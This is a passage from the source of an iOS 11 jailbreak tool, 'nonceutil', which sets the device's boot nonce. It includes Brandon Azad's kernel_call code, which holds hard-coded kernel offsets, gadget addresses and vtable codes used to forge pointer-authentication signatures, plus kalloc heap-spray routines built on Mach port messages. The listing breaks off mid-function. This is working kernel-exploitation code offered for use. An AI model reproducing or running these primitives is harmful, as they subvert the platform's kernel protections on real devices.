├── .gitignore ├── .gitmodules ├── Makefile ├── README.md ├── control ├── ent.plist ├── headers └── IOKit.h └── src ├── debug.c ├── debug.h ├── kernel_call ├── IOKitLib.h ├── ipc_port.h ├── kc_parameters.c ├── kc_parameters.h ├── kernel_alloc.c ├── kernel_alloc.h ├── kernel_call.c ├── kernel_call.h ├── kernel_memory.c ├── kernel_memory.h ├── kernel_slide.c ├── kernel_slide.h ├── log.c ├── log.h ├── mach_vm.h ├── pac.c ├── pac.h ├── parameters.c ├── parameters.h ├── platform.c ├── platform.h ├── platform_match.c ├── platform_match.h ├── user_client.c └── user_client.h ├── kutils.c ├── kutils.h ├── main.c ├── nonce.c ├── nonce.h ├── offsets.c ├── offsets.h ├── unlocknvram.c └── unlocknvram.h /.gitignore: -------------------------------------------------------------------------------- 1 | bin/ 2 | .DS_Store 3 | .theos 4 | packages/ 5 | 6 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "patchfinder64"] 2 | path = patchfinder64 3 | url = https://github.com/pwn20wndstuff/patchfinder64.git 4 | [submodule "theos"] 5 | path = theos 6 | url = https://github.com/theos/theos.git 7 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | THEOS=theos 2 | ARCHS=arm64 arm64e 3 | GO_EASY_ON_ME=1 4 | FINALPACKAGE=1 5 | 6 | include $(THEOS)/makefiles/common.mk 7 | 8 | TOOL_NAME = nonceutil 9 | $(TOOL_NAME)_FILES = src/debug.c src/kutils.c src/main.c src/nonce.c src/offsets.c src/unlocknvram.c patchfinder64/patchfinder64.c src/kernel_call/kc_parameters.c src/kernel_call/kernel_alloc.c src/kernel_call/kernel_call.c src/kernel_call/kernel_memory.c src/kernel_call/kernel_slide.c src/kernel_call/log.c src/kernel_call/pac.c src/kernel_call/parameters.c src/kernel_call/platform_match.c src/kernel_call/platform.c src/kernel_call/user_client.c 10 | $(TOOL_NAME)_CFLAGS += -Wno-unused-variable -Wno-unused-function -Wno-unused-label -I./src -I./headers -I./patchfinder64 -I./src/kernel_call 11 | $(TOOL_NAME)_FRAMEWORKS = CoreFoundation IOKit 12 | $(TOOL_NAME)_CODESIGN_TOOL = ldid 13 | $(TOOL_NAME)_CODESIGN_FLAGS = -Sent.plist 14 | include $(THEOS_MAKE_PATH)/tool.mk 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | A proper command line nonce setter for iOS 11. 2 | 3 | - Command line interface 4 | - Sync nonce on set 5 | - Unlocks & locks back nvram to avoid issues caused by poor unlock method :c 6 | - Supports unc0ver v2.1.1 and up 7 | 8 | License: MIT (except code by Ian Beer / Siguza) 9 | 10 | -------------------------------------------------------------------------------- /control: -------------------------------------------------------------------------------- 1 | Package: nonceutil 2 | Name: nonceutil 3 | Depends: firmware (>= 11.0), cy+cpu.arm64 4 | Conflicts: science.xnu.nonceutil, science.xnu.noncereboot11, rocks.stek29.noncereboot11 5 | Replaces: science.xnu.nonceutil, science.xnu.noncereboot11, rocks.stek29.noncereboot11 6 | Version: 2.0 7 | Architecture: iphoneos-arm 8 | Description: A proper command line nonce setter for iOS 11. Based on noncereboot11 by stek29. 9 | Maintainer: pwn20wnd 10 | Author: pwn20wnd 11 | Section: System 12 | Tag: role::hacker 13 | -------------------------------------------------------------------------------- /ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | platform-application 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /headers/IOKit.h: -------------------------------------------------------------------------------- 1 | #ifndef IOKit_h 2 | #define IOKit_h 3 | 4 | #include 5 | 6 | typedef mach_port_t io_service_t; 7 | typedef mach_port_t io_object_t; 8 | typedef io_object_t io_registry_entry_t; 9 | typedef char io_name_t[128]; 10 | typedef char io_struct_inband_t[4096]; 11 | 12 | extern const mach_port_t kIOMasterPortDefault; 13 | 14 | io_service_t 15 | IOServiceGetMatchingService( 16 | mach_port_t _masterPort, 17 | CFDictionaryRef matching); 18 | 19 | CFMutableDictionaryRef 20 | IOServiceMatching( 21 | const char* name); 22 | 23 | kern_return_t 24 | IORegistryEntrySetCFProperties( 25 | io_registry_entry_t entry, 26 | CFTypeRef properties ); 27 | kern_return_t 28 | IORegistryEntryGetProperty( 29 | io_registry_entry_t entry, 30 | const io_name_t propertyName, 31 | io_struct_inband_t buffer, 32 | uint32_t * size ); 33 | 34 | #endif /* IOKit_h */ 35 | -------------------------------------------------------------------------------- /src/debug.c: -------------------------------------------------------------------------------- 1 | #include "debug.h" 2 | 3 | int loglevel = lvlERROR; 4 | 5 | -------------------------------------------------------------------------------- /src/debug.h: -------------------------------------------------------------------------------- 1 | #include 2 | #pragma once 3 | 4 | enum verboselevel { 5 | lvlNONE, 6 | lvlERROR, 7 | lvlINFO, 8 | lvlDEBUG, 9 | }; 10 | 11 | extern int loglevel; 12 | #define RAWLOG(fmt, args...)\ 13 | fprintf(stderr, fmt, ##args); 14 | 15 | #define INFOLOG(fmt, args...)\ 16 | if (loglevel >= lvlINFO) { \ 17 | RAWLOG("[INF] " fmt "\n", ##args);\ 18 | } 19 | 20 | #define DEBUGLOG(fmt, args...)\ 21 | if (loglevel >= lvlDEBUG) { \ 22 | RAWLOG("[DBG] " fmt "\n", ##args);\ 23 | } 24 | 25 | #define ERRORLOG(fmt, args...)\ 26 | if (loglevel >= lvlERROR) { \ 27 | RAWLOG("[ERR] " fmt "\n", ##args);\ 28 | } 29 | 30 | -------------------------------------------------------------------------------- /src/kernel_call/IOKitLib.h: -------------------------------------------------------------------------------- 1 | /* 2 | * IOKitLib.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__IOKITLIB_H_ 6 | #define VOUCHER_SWAP__IOKITLIB_H_ 7 | 8 | #include 9 | #include 10 | 11 | typedef mach_port_t io_object_t; 12 | typedef io_object_t io_connect_t; 13 | typedef io_object_t io_iterator_t; 14 | typedef io_object_t io_service_t; 15 | 16 | extern const mach_port_t kIOMasterPortDefault; 17 | 18 | kern_return_t 19 | IOObjectRelease( 20 | io_object_t object ); 21 | 22 | io_object_t 23 | IOIteratorNext( 24 | io_iterator_t iterator ); 25 | 26 | io_service_t 27 | IOServiceGetMatchingService( 28 | mach_port_t masterPort, 29 | CFDictionaryRef matching CF_RELEASES_ARGUMENT); 30 | 31 | kern_return_t 32 | IOServiceGetMatchingServices( 33 | mach_port_t masterPort, 34 | CFDictionaryRef matching CF_RELEASES_ARGUMENT, 35 | io_iterator_t * existing ); 36 | 37 | kern_return_t 38 | IOServiceOpen( 39 | io_service_t service, 40 | task_port_t owningTask, 41 | uint32_t type, 42 | io_connect_t * connect ); 43 | 44 | kern_return_t 45 | IOServiceClose( 46 | io_connect_t connect ); 47 | 48 | kern_return_t 49 | IOConnectCallMethod( 50 | mach_port_t connection, // In 51 | uint32_t selector, // In 52 | const uint64_t *input, // In 53 | uint32_t inputCnt, // In 54 | const void *inputStruct, // In 55 | size_t inputStructCnt, // In 56 | uint64_t *output, // Out 57 | uint32_t *outputCnt, // In/Out 58 | void *outputStruct, // Out 59 | size_t *outputStructCnt) // In/Out 60 | AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; 61 | 62 | kern_return_t 63 | IOConnectTrap6(io_connect_t connect, 64 | uint32_t index, 65 | uintptr_t p1, 66 | uintptr_t p2, 67 | uintptr_t p3, 68 | uintptr_t p4, 69 | uintptr_t p5, 70 | uintptr_t p6); 71 | 72 | CFMutableDictionaryRef 73 | IOServiceMatching( 74 | const char * name ) CF_RETURNS_RETAINED; 75 | 76 | #endif 77 | -------------------------------------------------------------------------------- /src/kernel_call/ipc_port.h: -------------------------------------------------------------------------------- 1 | /* 2 | * ipc_port.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__IPC_PORT_H_ 6 | #define VOUCHER_SWAP__IPC_PORT_H_ 7 | 8 | #include 9 | #include 10 | 11 | // ---- osfmk/kern/waitq.h ------------------------------------------------------------------------ 12 | 13 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) 14 | 15 | #define WQT_QUEUE 0x2 16 | 17 | union waitq_flags { 18 | struct { 19 | uint32_t /* flags */ 20 | waitq_type:2, /* only public field */ 21 | waitq_fifo:1, /* fifo wakeup policy? */ 22 | waitq_prepost:1, /* waitq supports prepost? */ 23 | waitq_irq:1, /* waitq requires interrupts disabled */ 24 | waitq_isvalid:1, /* waitq structure is valid */ 25 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ 26 | waitq_eventmask:_EVENT_MASK_BITS; 27 | }; 28 | uint32_t flags; 29 | }; 30 | 31 | // ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------ 32 | 33 | #define IKOT_NONE 0 34 | #define IKOT_TASK 2 35 | 36 | // ---- osfmk/ipc/ipc_object.h -------------------------------------------------------------------- 37 | 38 | #define IO_BITS_KOTYPE 0x00000fff /* used by the object */ 39 | #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */ 40 | 41 | #define io_makebits(active, otype, kotype) \ 42 | (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype)) 43 | 44 | #define IOT_PORT 0 45 | 46 | // ---- Custom definitions ------------------------------------------------------------------------ 47 | 48 | #define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t))) 49 | 50 | // ------------------------------------------------------------------------------------------------ 51 | 52 | #endif 53 | -------------------------------------------------------------------------------- /src/kernel_call/kc_parameters.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/kc_parameters.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_CALL_PARAMETERS_EXTERN 6 | #include "kc_parameters.h" 7 | 8 | #include "kernel_slide.h" 9 | #include "log.h" 10 | #include "platform.h" 11 | #include "platform_match.h" 12 | #include "kutils.h" 13 | 14 | // ---- Initialization routines ------------------------------------------------------------------- 15 | 16 | // A struct describing an initialization. 17 | struct initialization { 18 | const char *devices; 19 | const char *builds; 20 | void (*init)(void); 21 | }; 22 | 23 | // Run initializations matching this platform. 24 | static size_t 25 | run_initializations(struct initialization *inits, size_t count) { 26 | size_t match_count = 0; 27 | for (size_t i = 0; i < count; i++) { 28 | struct initialization *init = &inits[i]; 29 | if (platform_matches(init->devices, init->builds)) { 30 | init->init(); 31 | match_count++; 32 | } 33 | } 34 | return match_count; 35 | } 36 | 37 | // A helper macro to get the number of elements in a static array. 38 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) 39 | 40 | // ---- Offset initialization --------------------------------------------------------------------- 41 | 42 | static void 43 | offsets__iphone11_8__16C50() { 44 | OFFSET(IOAudio2DeviceUserClient, traps) = 0x118; 45 | 46 | SIZE(IOExternalTrap) = 0x18; 47 | OFFSET(IOExternalTrap, object) = 0; 48 | OFFSET(IOExternalTrap, function) = 8; 49 | OFFSET(IOExternalTrap, offset) = 16; 50 | 51 | OFFSET(IORegistryEntry, reserved) = 16; 52 | OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8; 53 | 54 | VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8; 55 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8; 56 | } 57 | 58 | // A list of offset initializations by platform. 59 | static struct initialization offsets[] = { 60 | { "*", "*", offsets__iphone11_8__16C50 }, 61 | }; 62 | 63 | // ---- Address initialization -------------------------------------------------------------------- 64 | 65 | #define SLIDE(address) (address == 0 ? 0 : address + kernel_slide) 66 | 67 | static void 68 | addresses__iphone11_2__16A366() { 69 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = GETOFFSET(paciza_pointer__l2tp_domain_module_start); 70 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = GETOFFSET(paciza_pointer__l2tp_domain_module_stop); 71 | ADDRESS(l2tp_domain_inited) = GETOFFSET(l2tp_domain_inited); 72 | ADDRESS(sysctl__net_ppp_l2tp) = GETOFFSET(sysctl__net_ppp_l2tp); 73 | ADDRESS(sysctl_unregister_oid) = GETOFFSET(sysctl_unregister_oid); 74 | ADDRESS(mov_x0_x4__br_x5) = GETOFFSET(mov_x0_x4__br_x5); 75 | ADDRESS(mov_x9_x0__br_x1) = GETOFFSET(mov_x9_x0__br_x1); 76 | ADDRESS(mov_x10_x3__br_x6) = GETOFFSET(mov_x10_x3__br_x6); 77 | ADDRESS(kernel_forge_pacia_gadget) = GETOFFSET(kernel_forge_pacia_gadget); 78 | ADDRESS(kernel_forge_pacda_gadget) = GETOFFSET(kernel_forge_pacda_gadget); 79 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110; 80 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8; 81 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0; 82 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8; 83 | ADDRESS(IOUserClient__vtable) = GETOFFSET(IOUserClient__vtable); 84 | ADDRESS(IORegistryEntry__getRegistryEntryID) = GETOFFSET(IORegistryEntry__getRegistryEntryID); 85 | } 86 | 87 | // A list of address initializations by platform. 88 | static struct initialization addresses[] = { 89 | { "*", "16A366-16D5024a", addresses__iphone11_2__16A366 }, 90 | }; 91 | 92 | // ---- PAC initialization ------------------------------------------------------------------------ 93 | 94 | #if __arm64e__ 95 | 96 | static void 97 | pac__iphone11_8__16C50() { 98 | INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient, 99 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc, 100 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10, 101 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275, 102 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262, 103 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb, 104 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60, 105 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc, 106 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d, 107 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666, 108 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d, 109 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529, 110 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2, 111 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1, 112 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6, 113 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9, 114 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b, 115 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2, 116 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de, 117 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4, 118 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700, 119 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352, 120 | 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b, 121 | 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23, 122 | 0x2bcb); 123 | 124 | INIT_VTABLE_PAC_CODES(IODTNVRAM, 125 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc, 126 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10, 127 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275, 128 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262, 129 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb, 130 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60, 131 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc, 132 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d, 133 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666, 134 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d, 135 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529, 136 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2, 137 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1, 138 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6, 139 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9, 140 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b, 141 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2, 142 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de, 143 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4, 144 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700, 145 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb428, 146 | 0xbd46, 0xe5f5, 0x61a4, 0xdb15, 0x414e, 0xebdb, 0x5599, 0x4584, 147 | 0x4909, 0x003b, 0xafd8, 0xf53e, 0xfbd7, 0xcf34, 0x14d5, 0xb201, 148 | 0x3e63, 0x110c, 0x7ed3, 0x6731, 0x7a38, 0xd4c7, 0xa3bc, 0xc7b7, 149 | 0xb1db, 0x7d35, 0xb06d, 0xcf08); 150 | } 151 | 152 | // A list of PAC initializations by platform. 153 | static struct initialization pac_codes[] = { 154 | { "*", "*", pac__iphone11_8__16C50 }, 155 | }; 156 | 157 | #endif // __arm64e__ 158 | 159 | // ---- Public API -------------------------------------------------------------------------------- 160 | 161 | bool 162 | kernel_call_parameters_init() { 163 | bool ok = kernel_slide_init(); 164 | if (!ok) { 165 | return false; 166 | } 167 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets)); 168 | if (count < 1) { 169 | ERROR("no kernel_call %s for %s %s", "offsets", 170 | platform.machine, platform.osversion); 171 | return false; 172 | } 173 | count = run_initializations(addresses, ARRAY_COUNT(addresses)); 174 | if (count < 1) { 175 | ERROR("no kernel_call %s for %s %s", "addresses", 176 | platform.machine, platform.osversion); 177 | return false; 178 | } 179 | #if __arm64e__ 180 | count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes)); 181 | if (count < 1) { 182 | ERROR("no kernel_call %s for %s %s", "PAC codes", 183 | platform.machine, platform.osversion); 184 | return false; 185 | } 186 | #endif // __arm64e__ 187 | return true; 188 | } 189 | -------------------------------------------------------------------------------- /src/kernel_call/kc_parameters.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/kc_parameters.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include "parameters.h" 13 | 14 | #ifdef KERNEL_CALL_PARAMETERS_EXTERN 15 | #define extern KERNEL_CALL_PARAMETERS_EXTERN 16 | #endif 17 | 18 | // A structure describing the PAC codes used as part of the context for signing and verifying 19 | // virtual method pointers in a vtable. 20 | struct vtable_pac_codes { 21 | size_t count; 22 | const uint16_t *codes; 23 | }; 24 | 25 | // Generate the name for an offset in a virtual method table. 26 | #define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_ 27 | 28 | // Generate the name for a list of vtable PAC codes. 29 | #define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_ 30 | 31 | // A helper macro for INIT_VTABLE_PAC_CODES(). 32 | #define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_ 33 | 34 | // Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory, 35 | // we place it in a static variable. Consequently, this macro will produce name conflicts if used 36 | // outside a function. 37 | #define INIT_VTABLE_PAC_CODES(class_, ...) \ 38 | static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \ 39 | VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \ 40 | .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \ 41 | .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \ 42 | } 43 | 44 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start); 45 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop); 46 | extern uint64_t ADDRESS(l2tp_domain_inited); 47 | extern uint64_t ADDRESS(sysctl__net_ppp_l2tp); 48 | extern uint64_t ADDRESS(sysctl_unregister_oid); 49 | extern uint64_t ADDRESS(mov_x0_x4__br_x5); 50 | extern uint64_t ADDRESS(mov_x9_x0__br_x1); 51 | extern uint64_t ADDRESS(mov_x10_x3__br_x6); 52 | extern uint64_t ADDRESS(kernel_forge_pacia_gadget); 53 | extern uint64_t ADDRESS(kernel_forge_pacda_gadget); 54 | extern uint64_t ADDRESS(IOUserClient__vtable); 55 | extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID); 56 | 57 | extern size_t SIZE(kernel_forge_pacxa_gadget_buffer); 58 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); 59 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); 60 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); 61 | 62 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient); 63 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM); 64 | 65 | // Parameters for IOAudio2DeviceUserClient. 66 | extern size_t OFFSET(IOAudio2DeviceUserClient, traps); 67 | 68 | // Parameters for IOExternalTrap. 69 | extern size_t SIZE(IOExternalTrap); 70 | extern size_t OFFSET(IOExternalTrap, object); 71 | extern size_t OFFSET(IOExternalTrap, function); 72 | extern size_t OFFSET(IOExternalTrap, offset); 73 | 74 | // Parameters for IORegistryEntry. 75 | extern size_t OFFSET(IORegistryEntry, reserved); 76 | extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); 77 | 78 | // Parameters for IOUserClient. 79 | extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex); 80 | extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex); 81 | 82 | /* 83 | * kernel_call_parameters_init 84 | * 85 | * Description: 86 | * Initialize the addresses used in the kernel_call subsystem. 87 | */ 88 | bool kernel_call_parameters_init(void); 89 | 90 | #undef extern 91 | 92 | #endif 93 | -------------------------------------------------------------------------------- /src/kernel_call/kernel_alloc.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_alloc.c 3 | * Brandon Azad 4 | */ 5 | #include "kernel_alloc.h" 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "log.h" 15 | #include "parameters.h" 16 | #include "platform.h" 17 | 18 | // Compute the minimum of 2 values. 19 | #define min(a, b) ((a) < (b) ? (a) : (b)) 20 | 21 | size_t 22 | message_size_for_kalloc_size(size_t kalloc_size) { 23 | if (kalloc_size <= kmsg_zone_size) { 24 | return 0; 25 | } 26 | // Thanks Ian! 27 | return ((3 * kalloc_size) / 4) - 0x74; 28 | } 29 | 30 | size_t 31 | kalloc_size_for_message_size(size_t message_size) { 32 | if (message_size <= message_size_for_kmsg_zone) { 33 | return 0; 34 | } 35 | return message_size + ((message_size - 28) / 12) * 4 + 164; 36 | } 37 | 38 | size_t 39 | ipc_kmsg_size_for_message_size(size_t message_size) { 40 | if (message_size <= message_size_for_kmsg_zone) { 41 | return kmsg_zone_size; 42 | } 43 | return kalloc_size_for_message_size(message_size); 44 | } 45 | 46 | // A message containing out-of-line ports. 47 | struct ool_ports_msg { 48 | mach_msg_header_t header; 49 | mach_msg_body_t body; 50 | mach_msg_ool_ports_descriptor_t ool_ports[0]; 51 | }; 52 | 53 | size_t 54 | ool_ports_spray_port(mach_port_t holding_port, 55 | const mach_port_t *ool_ports, size_t port_count, 56 | mach_msg_type_name_t ool_disposition, size_t ool_count, 57 | size_t message_size, size_t message_count) { 58 | // Calculate the size of each component. 59 | struct ool_ports_msg *msg; 60 | // Sanity checks. 61 | assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size); 62 | assert(port_count * ool_count <= max_ool_ports_per_message); 63 | assert(message_count <= MACH_PORT_QLIMIT_MAX); 64 | // Allocate a message containing the required number of OOL ports descriptors. 65 | msg = calloc(1, message_size); 66 | assert(msg != NULL); 67 | // Trace the kalloc allocations we're about to perform. 68 | DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__, 69 | ool_count * message_count, port_count * sizeof(uint64_t), 70 | message_count, kalloc_size_for_message_size(message_size)); 71 | // If the user didn't supply any ool_ports, create our own. 72 | mach_port_t *alloc_ports = NULL; 73 | if (ool_ports == NULL) { 74 | alloc_ports = calloc(port_count, sizeof(mach_port_t)); 75 | assert(alloc_ports != NULL); 76 | ool_ports = alloc_ports; 77 | } 78 | // Populate the message. Each OOL ports descriptor will be a kalloc. 79 | msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); 80 | msg->header.msgh_remote_port = holding_port; 81 | msg->header.msgh_size = (mach_msg_size_t) message_size; 82 | msg->header.msgh_id = 'ools'; 83 | msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count; 84 | mach_msg_ool_ports_descriptor_t ool_descriptor = {}; 85 | ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; 86 | ool_descriptor.address = (void *) ool_ports; 87 | ool_descriptor.count = (mach_msg_size_t) port_count; 88 | ool_descriptor.deallocate = FALSE; 89 | ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY; 90 | ool_descriptor.disposition = ool_disposition; 91 | for (size_t i = 0; i < ool_count; i++) { 92 | msg->ool_ports[i] = ool_descriptor; 93 | } 94 | // Send the messages. 95 | size_t messages_sent = 0; 96 | for (; messages_sent < message_count; messages_sent++) { 97 | kern_return_t kr = mach_msg( 98 | &msg->header, 99 | MACH_SEND_MSG | MACH_MSG_OPTION_NONE, 100 | (mach_msg_size_t) message_size, 101 | 0, 102 | MACH_PORT_NULL, 103 | MACH_MSG_TIMEOUT_NONE, 104 | MACH_PORT_NULL); 105 | if (kr != KERN_SUCCESS) { 106 | ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr)); 107 | break; 108 | } 109 | } 110 | // Clean up the allocated ports. 111 | if (alloc_ports != NULL) { 112 | free(alloc_ports); 113 | } 114 | // Return the number of messages we sent. 115 | return messages_sent; 116 | } 117 | 118 | /* 119 | * kalloc_spray_compute_message_shape 120 | * 121 | * Description: 122 | * Compute the shape of a message to maximally spray the specified kalloc zone. This spray is 123 | * good for consuming memory, not for overwriting memory with specific contents. 124 | */ 125 | static void 126 | kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone, 127 | size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) { 128 | assert(kmsg_zone_size < kalloc_min); 129 | assert(kalloc_min <= kalloc_zone); 130 | // We always want to maximize the number of OOL port kalloc allocations per message, so let 131 | // the message take up the a full zone element if needed. 132 | size_t max_message_size = message_size_for_kalloc_size(kalloc_zone); 133 | // Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message, 134 | // we always want to send the minimum number of OOL ports in each descriptor (since adding 135 | // more ports in a descriptor only counts against the limit without increasing the number 136 | // of allocations). Thus, use the smallest number of ports that gets us at least 137 | // kalloc_min. 138 | size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t); 139 | // How many OOL ports descriptors can we send per message? As many as we'd like, as long 140 | // as: 141 | // 1. we have space for them in the message, and 142 | // 2. we don't blow through the max_ool_ports_per_message limit. 143 | size_t max_ools_by_message_size = 144 | (max_message_size - 